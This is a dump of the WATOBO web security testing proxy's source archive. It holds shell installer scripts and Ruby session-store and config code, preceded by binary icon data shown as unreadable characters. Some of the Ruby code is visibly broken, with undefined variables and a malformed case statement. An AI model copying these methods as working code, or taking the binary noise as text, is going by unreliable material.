b1w|֭u>SjjR>2dȐZ-[Ŷt@7$ k׮] ĝlذۗr_$ yY#+ @+tr]ll,w>Iu9{=Xf]k:I!7h6~|}С6lXQQ[Vl*.ƽ}:5ѬY3}sGMSQ~srr~O|#ol6> <jk[oܻ\ݛ]XX趌u-**~'XFoQeeeeջ>,8;4x/_ 0a"|8G?3tbURRd^:]UUw4;4QɰX,J^#88اz>L&{ $vj.frTZEa_W_Kw}u3f 6n25IQ(ZJJ0v;LD0AA%ﯚ"(Qw\@-uG&hb-郓OcZVTpe#;0,~h-3r9h{H飢(4&"z !Jř&%%щ'78t萓y#x6|1Hskv!"z*=zԣUN:(??ߩjߺN:kw9,ь3ܚzkK"":~z^uؿ?W^LL ?+oyW4b,$$*^hhFC34HCC)":xw+Yx3.jXn1uT!44)"" D$H+ { y}](xZ d2/o =tk zADD6mr t҅u={mM9rS]Yhڴi.> N |;E ֕%XL\?f>;zW""~7NilD"n7,FMIIINw+YC޽0 5o-l㗿gXoL덴 Ν[빣F>Xvl&M0A{РAҥKԩSNװ0DD?G~]ݶo޾}Sׯ_w[owȗLƌћC.ڞä/XnW'_JDtZ=kFg^.ƍn~W{gВJ"]BáR$f[BÍCER t*Q!ZP*@a JXr=r|g3}9s||ܟp u?99ߍE.fG%KKK}WP grORA4$Ivjuff=R@>==P(tp:lnn2??fu]"f3Lt:ngwwEQ>̡hPՐ$ χ$I#-Jp8P&NI&Ȳ # h!lllDpM(Jz=^/Vu>>BBBT$$|ZZT b z((( Opq44++iyyn$$M77\AA~8AAVFFp | ``BNHHPR(|&&0 B 5##5Q)TT{66rp!!tiilI$$==zGGsjjffk  žqqqrJJoPdddo:::WWWhhh??? JJJZLLLyyy[[[,,,GGGTTTWWWFFF~~~777%%%ccc8ccc000 CCC000Ǭaaa|||,,,PPP;D}}}[[[\\\wwwAAAs{{{N>[zzzʙA????(0`   H;$  0##,,,,''     s-0-$~U!!00++A=WWTISDV939=@<=:' zSB;3,q$B8'  oID1g kO:0)!(  H  z )==5> V/a lF7==9[[[BBBGkk\4 q:"kKKNVVN55KSqVV\ggfaaaggg66$ } k11WWS< o@@a((JAa-,,)..9Ar pp'JJJGGD::Dnnh8'' ddd<<=L))>V=**)```'''cc776 { kpAAAAA} )((=V3%%%\f J44(LLM.I$$$Qn3 [ ijjjioon999b(((Z;;:y// rMMN +jjjooo222vEE^NNBcyyh**j##_RRRXlll;;;33\66F33:!!XUFFEpZZZLLLFF\Vɿ""lSHHZ..*666ccc00Lb``L 22=++Z##P&&lll}}}!!Q}::? tte44]s!YYWyyzuuu ۗemm\333Y+==8TTTzzz 곳 __bbS\\V44UF''&//-KKK HHz554Sſ99Xh### **l$$CEE3uu+FF5.---!cc=vvh u Uii< 6\\1,,,0 QQ~bGGDWWU}} v'X77555@///Knn|03000< QGGZ g/#p+""1 qqP##U++`hL%L SF OAAK""Kn u,1Bx@@,, ''pp u**++55MMJJNNaallmmtt}xggQ""opn &&33"xx|nnvggzQQvII<??????? ?(@ n[! QRn}}}}}wlDi!%/7A K S \ g pzB mK']LN4r R2 # 4111 bNXXXık=b 2** !'''aaaG`" d&zAA;ooo(((>>>** ??@8,Y ///* f11,UUP gqqq 2 www IE```Q,]͍GGG} 22* j&&&###||{ .jjl #QQQ  7le  q@@:- 0m:::Jnnn2S5`6222TTT???%%%T {K M rAA?[[[ ###777 yGG< Kqqr= O !!!NNN  '2```FF4ppr6 dOON|GGA ;yyyHH/7   F  W  ~FFC 8'''hhh;-}GGC$ GG@DDDCCCvvvZRHH7%%"y::.''XXX999 ===X u 2''8$$$)))@@@ryys" ((!!!DDD WWM ?CC@ uCwwx((/// PPF] '':eee#;;;QQLdPPOQQK aaa0PPPOOFSSRb WWXiiiE 33+zzw B##"ۂo" llj ? ~-PPL _wwvlC fff990GGDPo 77711,--'GGE>|&w))y/HHHRfTHy++*pppL wfVF7,`..;O[ w P##nnlD lWK6**,44 555555"xxlwwqssqSSSS7UUY/KKMz``XMMCDD8KK:OOD 4ax K--<<599)::/oofwwo}}x| dddF KKKmmiAA=AA f ,hhhAAAaaa+++bbb---G111777qqq rrrK"eeeEEE&&& GGG~~~``` $222BSSS{111]]]>>>+++F☹ NNNJJJ---mmmIII ccc]]]222 111eee666999000.UUU"""AAAZ/ԣ㗗TTT%%% CCC{{{222777///HHHrrr1 hhh󎎎'''///uuuuh9j̎wwwJJJ666nnn000 !!!mmmi(FFF :::|||jrCCC )))ooo,,,,,, 333⭭-EEE### <<A?<99<C J P Y _hpy)UR,u U;-#nHH3mM PHp ]I8+x|.O  o_C" !f@ I`mN ~Ff X0k" 4---񡡡sI/qRm < d555bbbb#G {E~!!3348 j!!!666[[[W3!  p[>% yA 0 f :::777HHH܀bKLG <0%""! "JJJ!!!333YYYӑppqoq TTTS \NNNhhh999 *x lll- xxxQQQ000SA~n9Hzzz+++ a a)))G, ST333 111WDDDDAAAR4Zaaa :::hhhgr... kW%%%w1YYY-   V777q=OӸ***aaa``` xxx+++ i ܗDDDHHH$ T%%%ssr8_bbb222)sssQQR 8"&&&,@ccc QZ zzz<HHIYYZ w"\...YYYCCCl8 U FFF GGG//0 O{***!@>>>334^; P(tUGGG555 FM jK zzz{iP`>>>)))((&$ \  b t tPPP[!i<<<555xxxB l9-000bbb_!i///<<<|||aH L%%%###HHHppp#qFFF|||~# FwdddNNN+++ fffSSSooo (, *ZZZyyy]]]CCC7Q d ?GGG<<<2 bbbggg??> U$$% ++ l,,-UUU "QQQvvv??=y--.  oZZ[((q jjj 'KKK@@>"---MMNI""!&&_GOOOwww 10MMM00(F""! " z rFFF&&"M665###I7FFF"""v2iii%%%/sss&&#>* (((|||\ Q===%%% Jooo***5""#&&$8 Saaa333ooogd444--- dqqqc2222&&$5ccc999aaaov///;;;x444=== &&$2"JJJRRRq|%%%AAA660'998lll>Njjj&&%/ ]PPP ===~KKKM;;9!!!r, &&%+ UUU!!!xYYY p&&&$443 t""!(; bbb hiii Bjjjjjj &/ HHG% \[[[www!!! mmm xxx  h;;<Y++,KKJ!DDCzzz(((zzz MMM 11/eee /KKK1hhh/// mmm5 444==;$ UUTppp#DDDKKKL888 aaa> ==9/( $$$VGdddKKK/// RRR<::6>D  KKK)EEE<<+++  V b ^^^<EEEKKK Y666=V+++))) jqAAAOOO S$$$KKK )));tttV###222  ~886''' Y...JJK +&&&덍MbbbVIII   997))(.bbbHHH PXXXXXXXY]]] ,00.NNN3 w DDEu :::UFFFU{{{)=000j9--.h- H555U 8P EEE  \t ccc +++W  D d eee:M P__`썍S  W x !!! {D?:::MMM***tv! mQQQ9 e***222%%% , dde -,www '''$$$: JJJk{___&<K{{{+++%%%!K```yyy$$%% crrr3###555$$$/ cYYY222444uuu#%iiiD+++;;;@!<^^^D"""LLLO   ` @@@?TTT^* vC ???B??? w8 "+ ===?%%%555 E  I!3TTT9$$$ NNN  W===  ]'2 nnn TTT %Aq }}~ t c5+ ###  * \!!![[[}}}222  6 lk$   f7667WWWSSS$p | If"'''889 ^ seYA@<GGG Y w`I3,)&$!s !J_q m, sss5a o[E/ ..",,",,&..*--,**( =(2  (2<FTdv  f#@@@'''3 ~ z l `SH@80)!  <<2cc\cc_ccaccccceddeeeegggpppAAA $$$ooo  222 bbbPPO//,22.33/44/33-..'))"  ,>KYft ` (()''(   --&11*11+22+11+11,11-11-&&#'''MMM’!!!rrr??;  #).4<FQ\gq{ U~~~sssiihcccvvvmmmEEE\  !"#8Wu  eecIII  $$$qqq}}}~~~}}}|||yyyyyyuuu !! !!    iij+++''' 777 <<watobo-1.0.1/icons/watobo.ico.old000066400000000000000000000126361366346341400167050ustar00rootroot00000000000000$$ ($H 5 V# !)(Gcbv L uC=> A ' g\a7jy>' 4H,,#===Y 0uuu#GWWf@@4P%% uGGs BBBڴTTRRRRwww V6))TTT e RRI \\\$$6&&QZZc cccrrbf{ %%[UUU(mmmYYxYYV F ^^Z4$$T88\``os33(MMMHj!!sTaO*777s SSTOZZRIzffk {++V*~~p@EE^;;S=kknooy??SI󮮫DDq33CMM[R0==<?TJ,,qBB99 w~~R))88==YYYYoo{{}}r ;> OOOqqmRRN55G/vvvhTTT膆888:::J555((( 0FFF򠠠yyyaaaaaaxxxUUUKKK###YDDD ###UUUُ‚ʜ___@@@yyyaaa///z׿ddd555~~~$$$,,,lllteee8]Ԅêև[[[}}}Rp0watobo-1.0.1/installers/000077500000000000000000000000001366346341400151765ustar00rootroot00000000000000watobo-1.0.1/installers/fedora.sh000077500000000000000000000006201366346341400167730ustar00rootroot00000000000000#!/bin/bash # TODO: Check for Ruby echo -e "\e[1;31m* install necessary packages ...\e[0m" sudo dnf install git wget fox-devel libXrandr-devel libpng-devel \ libXcursor-devel \ libtiff-devel libjpeg-turbo-devel libnfnetlink-devel \ libnetfilter_queue-devel xterm gcc-c++ echo -e "\e[1;31m* cloning watobo from git ...\e[0m" git clone https://github.com/siberas/watobo.git cd watobo bundle install watobo-1.0.1/installers/kali.sh000066400000000000000000000044721366346341400164610ustar00rootroot00000000000000# Basic watobo installer # Notes: missings "xterm" package. Requieres sudo (for packages and installing fxscintilla) ## Check if core packages are installed if [ $(dpkg-query -W -f='${Status}' rvm 2>/dev/null | grep -c "ok installed") -eq 0 ]; then echo -e "\e[1;31m* RVM not installed. Installing...\e[0m" sudo apt-get update sudo apt install curl echo -e "\e[1;31m* NOTE: adding PGP keys \e[0m" gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB curl -O https://raw.githubusercontent.com/rvm/rvm/master/binscripts/rvm-installer curl -O https://raw.githubusercontent.com/rvm/rvm/master/binscripts/rvm-installer.asc gpg --verify rvm-installer.asc && bash rvm-installer stable sudo usermod -a -G rvm $(whoami) echo -e "\e[1;31m* RVM Installed!\e[0m" fi source "$HOME/.rvm/scripts/rvm" # Inject RVM into environment echo '[[ -s "$HOME/.rvm/scripts/rvm" ]] && source "$HOME/.rvm/scripts/rvm"' >> .bashrc echo -e "\e[1;31m* Installing Ruby v2.3.3...\e[0m" rvm install 2.3.3 echo -e "\e[1;31m* Installing packages...\e[0m" for pkg in git bzip2 build-essential openssl libreadline6 libreadline6-dev zlib1g zlib1g-dev libssl-dev libyaml-dev libsqlite3-dev sqlite3 libxml2-dev libxslt-dev autoconf libc6-dev libgdbm-dev ncurses-dev automake libtool bison subversion pkg-config libffi-dev libx11-dev libxcursor-dev libxext-dev libxrandr-dev libxft2-dev freeglut3-dev libjpeg-turbo8-dev libjpeg8-dev libjpeg-dev zlib1g-dev libbz2-dev libpng12-dev libtiff5-dev libnfnetlink-dev libnetfilter-queue-dev libfox-1.6-dev xterm; do sudo apt-get -y install $pkg done echo "* installing fxscintilla ..." wget http://download.savannah.gnu.org/releases/fxscintilla/fxscintilla-2.28.0.tar.gz tar xzvf fxscintilla-2.28.0.tar.gz cd fxscintilla-2.28.0 ./configure --enable-shared make sudo make install cd .. echo -e "\e[1;31m* Switching ruby environment to 2.3.3...\e[0m" rvm use ruby-2.3.3 echo -e "\e[1;31m* Installing some necessary gems...\e[0m" gem install selenium-webdriver gem install nfqueue gem install bundler gem install fxruby echo -e "\e[1;31m* Now we get Watobo from git...\e[0m" git clone https://github.com/siberas/watobo.git cd watobo bundle install echo -e "\e[1;31m* Installation finished! Remember to run watobo from a login shell (bash --login).\e[0m"watobo-1.0.1/lib/000077500000000000000000000000001366346341400135645ustar00rootroot00000000000000watobo-1.0.1/lib/watobo.rb000077500000000000000000000045561366346341400154210ustar00rootroot00000000000000#!/usr/bin/ruby #Encoding: UTF-8 require 'rubygems' $SAFE = 0 # TODO: use a different environment variable to disable bundler on load # usefull if you want to use your own gems for private plugins # unless ENV['DEV_ENV'] begin require 'bundler/setup' rescue LoadError puts "You will need bundler to run watobo!" puts "please run\n gem install bundler\n bundle install\n" exit end end require 'yaml' require 'json' require 'thread' require 'socket' require 'timeout' require 'openssl' require 'optparse' require 'digest/md5' require 'stringio' require 'zlib' require 'base64' require 'cgi' require 'uri' require 'pathname' #require 'rubyntlm' #require 'net/ntlm' #require 'httpi' require 'drb' require 'nokogiri' require 'stringio' require 'mechanize' require 'jwt' require 'ostruct' print '+ looking for DEV_ENV environment variable ...' if ENV['DEV_ENV'] print "[OK]\n" puts '+ loading devgems ...' begin require 'devenv' devgems = File.join( File.expand_path(ENV['HOME']), '.watobo', 'devgems.rb') puts "+ loading devgem file #{devgems}" #load devgems require_relative devgems rescue LoadError => bang puts '* something went wrong while initialising the development environment.' puts bang puts bang.backtrace end else print "[N/A]\n" end require 'watobo/constants' require 'watobo/utils' require 'watobo/mixins' require 'watobo/config' require 'watobo/defaults' require 'watobo/http' require 'watobo/core' require 'watobo/externals' require 'watobo/adapters' require 'watobo/framework' require 'watobo/parser' require 'watobo/interceptor' require 'watobo/sockets' # WORKAROUND FOR LINUX :( #dont_know_why_REQUIRE_hangs = Mechanize.new # @private module Watobo #:nodoc: all #:nodoc: all VERSION = "1.1.0pre" def self.base_directory @base_directory ||= "" @base_directory = File.expand_path(File.join(File.dirname(__FILE__), "..")) end def self.plugin_path @plugin_directory ||= "" @plugin_directory = File.join(base_directory, "plugins") end def self.active_module_path @active_module_path = "" @active_path = File.join(base_directory, "modules", "active") end def self.passive_module_path @passive_module_path = "" @passive_path = File.join(base_directory, "modules", "passive") end def self.version Watobo::VERSION end end Watobo.init_framework require 'watobo/ca' watobo-1.0.1/lib/watobo/000077500000000000000000000000001366346341400150575ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/Profiles/000077500000000000000000000000001366346341400166425ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/Profiles/profile.rb000066400000000000000000000001041366346341400206220ustar00rootroot00000000000000module Watobo module Profiles class Profile end end endwatobo-1.0.1/lib/watobo/adapters.rb000066400000000000000000000002551366346341400172110ustar00rootroot00000000000000%w( data_store session_store ).each do |lib| require "watobo/adapters/#{lib}" end #require "watobo/adapters/file/file_store" require "watobo/adapters/file/marshal_store" watobo-1.0.1/lib/watobo/adapters/000077500000000000000000000000001366346341400166625ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/adapters/data_store.rb000066400000000000000000000031421366346341400213340ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class DataStore @engine = nil def self.engine @engine end def self.projects(&block) ps = [] Dir.glob("#{Watobo.workspace_path}/*").each do |p| pname = File.basename(p) yield pname if block_given? ps << pname end ps end def self.sessions(project_name, &block) ss = [] project_name = project_name.to_s if project_name.is_a? Symbol return ps unless File.exist? "#{Watobo.workspace_path}/#{project_name}" Dir.glob("#{Watobo.workspace_path}/#{project_name}/*").each do |s| sname = File.basename(s) yield sname if block_given? ss << sname end ss end def self.connect(project_name, session_name) a = Watobo::Conf::Datastore.adapter store = case when 'file' FileSessionStore.new(project_name, session_name) else nil end @engine = store store end def self.method_missing(name, *args, &block) super unless @engine.respond_to? name @engine.send name, *args, &block end end def self.logs return "" if DataStore.engine.nil? DataStore.engine.logs end def self.log(message, prefs={}) text = message if message.is_a? Array text = message.join("\n| ") end #clean up sender's name if prefs.has_key? :sender prefs[:sender].gsub!(/.*::/,'') end if DataStore.engine.respond_to? :logger DataStore.engine.logger message, prefs end end endwatobo-1.0.1/lib/watobo/adapters/file/000077500000000000000000000000001366346341400176015ustar00rootroot00000000000000watobo-1.0.1/lib/watobo/adapters/file/file_store.rb000066400000000000000000000210361366346341400222630ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class FileSessionStore < SessionStore def num_chats get_file_list(@conversation_path, "*-chat*").length end def num_findings get_file_list(@findings_path, "*-finding*").length end def add_finding(finding) return false unless finding.respond_to? :request return false unless finding.respond_to? :response finding_file = File.join("#{@findings_path}", "#{finding.id}-finding.yml") if not File.exist?(finding_file) then finding_data = { :request => finding.request.map{|x| x.inspect}, :response => finding.response.map{|x| x.inspect}, :details => Hash.new } finding_data[:details].update(finding.details) fh = File.new(finding_file, "w+b") fh.print YAML.dump(finding_data) fh.close return true end return false end def delete_finding(finding) finding_file = File.join("#{@findings_path}", "#{finding.id}-finding") File.delete finding_file if File.exist? finding_file finding_file << ".yml" File.delete finding_file if File.exist? finding_file end def update_finding(finding) finding_file = File.join("#{@findings_path}", "#{finding.id}-finding.yml") finding_data = { :request => finding.request.map{|x| x.inspect}, :response => finding.response.map{|x| x.inspect}, :details => Hash.new } finding_data[:details].update(finding.details) if File.exist?(finding_file) then fh = File.new(finding_file, "w+b") fh.print YAML.dump(finding_data) fh.close end end # add_scan_log # adds a chat to a specific log store, e.g. if you want to log scan results. # needs a scan_name (STRING) as its destination which will be created # if the scan name does not exist. def add_scan_log(chat, scan_name = nil) return false unless chat.respond_to? :request return false unless chat.respond_to? :response begin return false if scan_name.nil? return false if scan_name.empty? scan_name_clean = scan_name.gsub(/[:\\\/\.]*/,"_") # puts ">> scan_name" path = File.join(@scanlog_path, scan_name_clean) Dir.mkdir path unless File.exist? path log_file = File.join( path, "log_" + Time.now.to_f.to_s + ".yml") chat_data = { :request => chat.request.map{|x| x.inspect}, :response => chat.response.map{|x| x.inspect}, } # puts log_file chat_data.update(chat.settings) File.open(log_file, "w") { |fh| YAML.dump(chat_data, fh) } return true rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end def add_chat(chat) return false unless chat_valid? chat chat_file = File.join("#{@conversation_path}", "#{chat.id}-chat.yml") chat_data = { :request => chat.request.map{|x| x.inspect}, :response => chat.response.map{|x| x.inspect}, } chat_data.update(chat.settings) if not File.exist?(chat_file) then File.open(chat_file, "w") { |fh| YAML.dump(chat_data, fh) } chat.file = chat_file return true end return false end def each_chat(&block) get_file_list(@conversation_path, "*-chat*").each do |fname| chat = Watobo::Utils.loadChatYAML(fname) next unless chat yield chat if block_given? end end def each_finding(&block) get_file_list(@findings_path, "*-finding*").each do |fname| f = Watobo::Utils.loadFindingYAML(fname) next unless f yield f if block_given? end end def initialize(project_name, session_name) wsp = Watobo.workspace_path return false unless File.exist? wsp puts "* using workspace path: #{wsp}" if $DEBUG @log_file = nil @log_lock = Mutex.new @project_path = File.join(wsp, project_name) unless File.exist? @project_path puts "* create project path: #{@project_path}" if $DEBUG Dir.mkdir(@project_path) end @project_config_path = File.join(@project_path, ".config") Dir.mkdir @project_config_path unless File.exist? @project_config_path @session_path = File.join(@project_path, session_name) unless File.exist? @session_path puts "* create session path: #{@session_path}" if $DEBUG Dir.mkdir(@session_path) end @session_config_path = File.join(@session_path, ".config") Dir.mkdir @session_config_path unless File.exist? @session_config_path sext = Watobo::Conf::General.session_settings_file_ext @session_file = File.join(@session_path, session_name + sext) @project_file = File.join(@project_path, project_name + Watobo::Conf::General.project_settings_file_ext) @conversation_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.conversations)) @findings_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.findings)) @log_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.event_logs_dir)) @scanlog_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.scan_logs_dir)) [ @conversation_path, @findings_path, @log_path, @scanlog_path ].each do |folder| if not File.exist?(folder) then puts "create path #{folder}" begin Dir.mkdir(folder) rescue SystemCallError => bang puts "!!!ERROR:" puts bang rescue => bang puts "!!!ERROR:" puts bang end end end @log_file = File.join(@log_path, session_name + ".log") # @chat_files = get_file_list(@conversation_path, "*-chat") # @finding_files = get_file_list(@findings_path, "*-finding") end def save_session_settings(group, session_settings) # puts ">> save_session_settings <<" file = Watobo::Utils.snakecase group.gsub(/\.yml/,'') file << ".yml" session_file = File.join(@session_config_path, file) # puts "Dest.File: #{session_file}" # puts session_settings.to_yaml # puts "---" Watobo::Utils.save_settings(session_file, session_settings) end def load_session_settings(group) # puts ">> load_session_settings : #{group}" file = Watobo::Utils.snakecase group.gsub(/\.yml/,'') file << ".yml" session_file = File.join(@session_config_path, file) # puts "File: #{session_file}" # puts "---" s = Watobo::Utils.load_settings(session_file) s end def save_project_settings(group, project_settings) # puts ">> save_project_settings : #{group}" file = Watobo::Utils.snakecase group.gsub(/\.yml/,'') file << ".yml" project_file = File.join(@project_config_path, file) # puts "Dest.File: #{project_file}" # puts project_settings.to_yaml # puts "---" Watobo::Utils.save_settings(project_file, project_settings) end def load_project_settings(group) # puts ">> load_project_settings : #{group}" file = Watobo::Utils.snakecase group.gsub(/\.yml/,'') file << ".yml" project_file = File.join(@project_config_path, file) # puts "File: #{project_file}" # puts "---" s = Watobo::Utils.load_settings(project_file) s end def logs l = '' @log_lock.synchronize do l = File.open(@log_file).read end l end def logger( message, prefs = {} ) opts = { :sender => "unknown", :level => Watobo::Constants::LOG_INFO } opts.update prefs return false if @log_file.nil? begin t = Time.now now = t.strftime("%m/%d/%Y @ %H:%M:%S") log_message = [ now ] log_message << "#{opts[:sender]}" if message.is_a? Array log_message << message.join("\n| ") log_message << "\n-" else log_message << message end @log_lock.synchronize do File.open(@log_file,"a") do |lfh| lfh.puts log_message.join("|") end end rescue => bang puts bang end end private def chat_valid?(chat) return false unless chat.respond_to? :request return false unless chat.respond_to? :response true end def get_file_list(path, pattern) fl = Dir["#{path}/#{pattern}"].sort_by{ |x| File.basename(x).sub(/[^0-9]*/,'').to_i } #puts fl.length fl end end endwatobo-1.0.1/lib/watobo/adapters/file/marshal_store.rb000077500000000000000000000234701366346341400230020ustar00rootroot00000000000000# @private module Watobo #:nodoc: all class FileSessionStore < SessionStore def num_chats get_file_list(@conversation_path, "*-chat*").length end def num_findings get_file_list(@findings_path, "*-finding*").length end def add_finding(finding) return false unless finding.respond_to? :request return false unless finding.respond_to? :response finding_file = File.join("#{@findings_path}", "#{finding.id}-finding.mrs") unless File.exist?(finding_file) save_finding(finding_file, finding) return true end false end def delete_finding(finding) finding_file = File.join("#{@findings_path}", "#{finding.id}-finding") File.delete finding_file if File.exist? finding_file file = finding_file + ".yml" File.delete file if File.exist? file file = finding_file + ".mrs" File.delete file if File.exist? file end def save_finding(fname, finding) File.open(fname, 'wb') {|f| f.print Marshal::dump(finding.to_h) } end def save_chat(file, chat) File.open(file, 'wb') {|f| f.print Marshal::dump(chat.to_h) } end def update_finding(finding) finding_file = File.join("#{@findings_path}", "#{finding.id}-finding.mrs") if File.exist?(finding_file) then save_finding(finding_file, finding) end end def open_scan(scan_name, &block) begin return false if scan_name.nil? return false if scan_name.empty? scan_name_clean = scan_name.gsub(/[:\\\/\.]*/, '_') # puts ">> scan_name" path = File.join(@scanlog_path, scan_name_clean) return nil unless File.exist? path return scan_chats rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil end def list_scans Dir["#{@scanlog_path}/*"].map {|x| x}.sort end alias :scans :list_scans # @param scan_name [String] the scan location. This can be the shortened scan name of # the current project directory, or an absolute directory # @yield chat [Chat] # @returns scan-chats [Array] def load_scan(scan_name, &block) scan_chats = [] scan_dir = scan_name unless File.exist?(scan_dir) scan_dir = File.join(@scanlog_path, scan_name) return nil unless File.exist? scan_dir end get_file_list(scan_dir, "log_*").each do |fname| #puts chat = nil if fname =~ /\.mrs$/ chat = Watobo::Utils.loadChatMarshal(fname) elsif fname =~ /\.yml$/ chat = Watobo::Utils.loadChatYAML(fname) unless list.include?(fname.gsub(/yml$/, 'mrs')) end next if chat.nil? yield chat if block_given? scan_chats << chat end scan_chats end # add_scan_log # adds a chat to a specific log store, e.g. if you want to log scan results. # needs a scan_name (STRING) as its destination which will be created # if the scan name does not exist. def add_scan_log(chat, scan_name = nil) #puts "* add_scan_log" return false unless chat.respond_to? :request return false unless chat.respond_to? :response begin return false if scan_name.nil? return false if scan_name.empty? scan_name_clean = scan_name.gsub(/[:\\\/\.]+/, '_') # puts ">> scan_name" path = File.join(@scanlog_path, scan_name_clean) Dir.mkdir path unless File.exist? path file = File.join(path, 'log_' + Time.now.to_f.to_s + '.mrs') unless File.exist?(file) File.open(file, 'wb') {|fh| fh.print Marshal::dump(chat.to_h) } end return true rescue => bang puts bang puts bang.backtrace if $DEBUG end return false end def add_chat(chat) return false unless chat_valid? chat chat_file = File.join("#{@conversation_path}", "#{chat.id}-chat.mrs") unless File.exist?(chat_file) File.open(chat_file, "wb") {|fh| fh.print Marshal::dump(chat.to_h) } chat.file = chat_file return true end return false end def each_chat(&block) list = get_file_list(@conversation_path, "*-chat*") list.each do |fname| #puts chat = nil if fname =~ /\.mrs$/ chat = Watobo::Utils.loadChatMarshal(fname) elsif fname =~ /\.yml$/ chat = Watobo::Utils.loadChatYAML(fname) unless list.include?(fname.gsub(/yml$/, 'mrs')) end next if chat.nil? yield chat if block_given? end end def each_finding(&block) list = get_file_list(@findings_path, "*-finding*") list.each do |fname| f = nil if fname =~ /\.mrs$/ f = Watobo::Utils.loadFindingMarshal(fname) elsif fname =~ /\.yml$/ f = Watobo::Utils.loadFindingYAML(fname) unless list.include?(fname.gsub(/yml$/, 'mrs')) end next if f.nil? yield f if block_given? end end def initialize(project_name, session_name) wsp = Watobo.workspace_path return false unless File.exist? wsp puts "* using workspace path: #{wsp}" if $DEBUG @log_file = nil @log_lock = Mutex.new @project_path = File.join(wsp, project_name) unless File.exist? @project_path puts "* create project path: #{@project_path}" if $DEBUG Dir.mkdir(@project_path) end @project_config_path = File.join(@project_path, ".config") Dir.mkdir @project_config_path unless File.exist? @project_config_path @session_path = File.join(@project_path, session_name) unless File.exist? @session_path puts "* create session path: #{@session_path}" if $DEBUG Dir.mkdir(@session_path) end @session_config_path = File.join(@session_path, ".config") Dir.mkdir @session_config_path unless File.exist? @session_config_path sext = Watobo::Conf::General.session_settings_file_ext @session_file = File.join(@session_path, session_name + sext) @project_file = File.join(@project_path, project_name + Watobo::Conf::General.project_settings_file_ext) @conversation_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.conversations)) @findings_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.findings)) @log_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.event_logs_dir)) @scanlog_path = File.expand_path(File.join(@session_path, Watobo::Conf::Datastore.scan_logs_dir)) [@conversation_path, @findings_path, @log_path, @scanlog_path].each do |folder| if not File.exist?(folder) then puts "create path #{folder}" begin Dir.mkdir(folder) rescue SystemCallError => bang puts "!!!ERROR:" puts bang rescue => bang puts "!!!ERROR:" puts bang end end end @log_file = File.join(@log_path, session_name + ".log") # @chat_files = get_file_list(@conversation_path, "*-chat") # @finding_files = get_file_list(@findings_path, "*-finding") end def save_session_settings(group, session_settings) # puts ">> save_session_settings <<" file = Watobo::Utils.snakecase group.gsub(/\.yml/, '') file << ".yml" session_file = File.join(@session_config_path, file) # puts "Dest.File: #{session_file}" # puts session_settings.to_yaml # puts "---" Watobo::Utils.save_settings(session_file, session_settings) end def load_session_settings(group) # puts ">> load_session_settings : #{group}" file = Watobo::Utils.snakecase group.gsub(/\.yml/, '') file << ".yml" session_file = File.join(@session_config_path, file) # puts "File: #{session_file}" # puts "---" s = Watobo::Utils.load_settings(session_file) s end def save_project_settings(group, project_settings) # puts ">> save_project_settings : #{group}" file = Watobo::Utils.snakecase group.gsub(/\.yml/, '') file << ".yml" project_file = File.join(@project_config_path, file) # puts "Dest.File: #{project_file}" # puts project_settings.to_yaml # puts "---" Watobo::Utils.save_settings(project_file, project_settings) end def load_project_settings(group) # puts ">> load_project_settings : #{group}" file = Watobo::Utils.snakecase group.gsub(/\.yml/, '') file << ".yml" project_file = File.join(@project_config_path, file) # puts "File: #{project_file}" # puts "---" s = Watobo::Utils.load_settings(project_file) s end def logs l = '' @log_lock.synchronize do l = File.open(@log_file).read end l end def logger(message, prefs = {}) opts = {:sender => "unknown", :level => Watobo::Constants::LOG_INFO} opts.update prefs return false if @log_file.nil? begin t = Time.now now = t.strftime("%m/%d/%Y @ %H:%M:%S") log_message = [now] log_message << "#{opts[:sender]}" if message.is_a? Array log_message << message.join("\n| ") log_message << "\n-" else log_message << message end @log_lock.synchronize do File.open(@log_file, "a") do |lfh| lfh.puts log_message.join("|") end end rescue => bang puts bang end end private def chat_valid?(chat) return false unless chat.respond_to? :request return false unless chat.respond_to? :response true end def get_file_list(path, pattern) fl = Dir["#{path}/#{pattern}"].sort_by {|x| File.basename(x).sub(/[^0-9]*/, '').to_i} fl end end endwatobo-1.0.1/lib/watobo/adapters/session_store.rb000066400000000000000000000001611366346341400221040ustar00rootroot00000000000000# @private module Watobo#:nodoc: all class SessionStore # TODO: Define default methods here end endwatobo-1.0.1/lib/watobo/ca.rb000066400000000000000000000000341366346341400157640ustar00rootroot00000000000000require 'watobo/core/ca.rb' watobo-1.0.1/lib/watobo/config.rb000066400000000000000000000114061366346341400166530ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Conf @@settings = Hash.new @count = 0 @@modules = [] def self.each(&b) @@modules.each do |m| yield m if block_given? end @@modules.length end def self.load_project_settings() @@modules.each do |m| m.load_project() end end def self.load_session_settings() @@modules.each do |m| m.load_session() end end def self.add(group, settings) # puts "* create new configuration for #{group}" module_eval("module #{group}; @settings = #{settings}; end") m = const_get(group) m.module_eval do def self.to_file # n = self.to_s.gsub(/(Watobo)?::/, "/").gsub(/([A-Z])([A-Z][a-z])/, '\1_\2').gsub(/([a-z\d])([A-Z])/, '\1_\2').tr("-","_").downcase n = Watobo::Utils.snakecase self.to_s.gsub(/(Watobo)?::/, "/") n << ".yml" end def self.update(filename=nil, &b) n = self.to_file file = filename unless filename.nil? file = File.join(Watobo::Conf::General.working_directory, n) if File.exist? file puts " [#{self}] update settings from file #{file}" if $DEBUG @settings.update YAML.load_file(file) else puts "! [#{self}] could not update settings from file #{file}" if $DEBUG end end # returns the group name of the module # e.g. the group name of Watobo::Conf::Interceptor would be Interceptor def self.group_name self.to_s.gsub(/.*::/, "") end def self.set(settings) return false unless settings.is_a? Hash @settings = 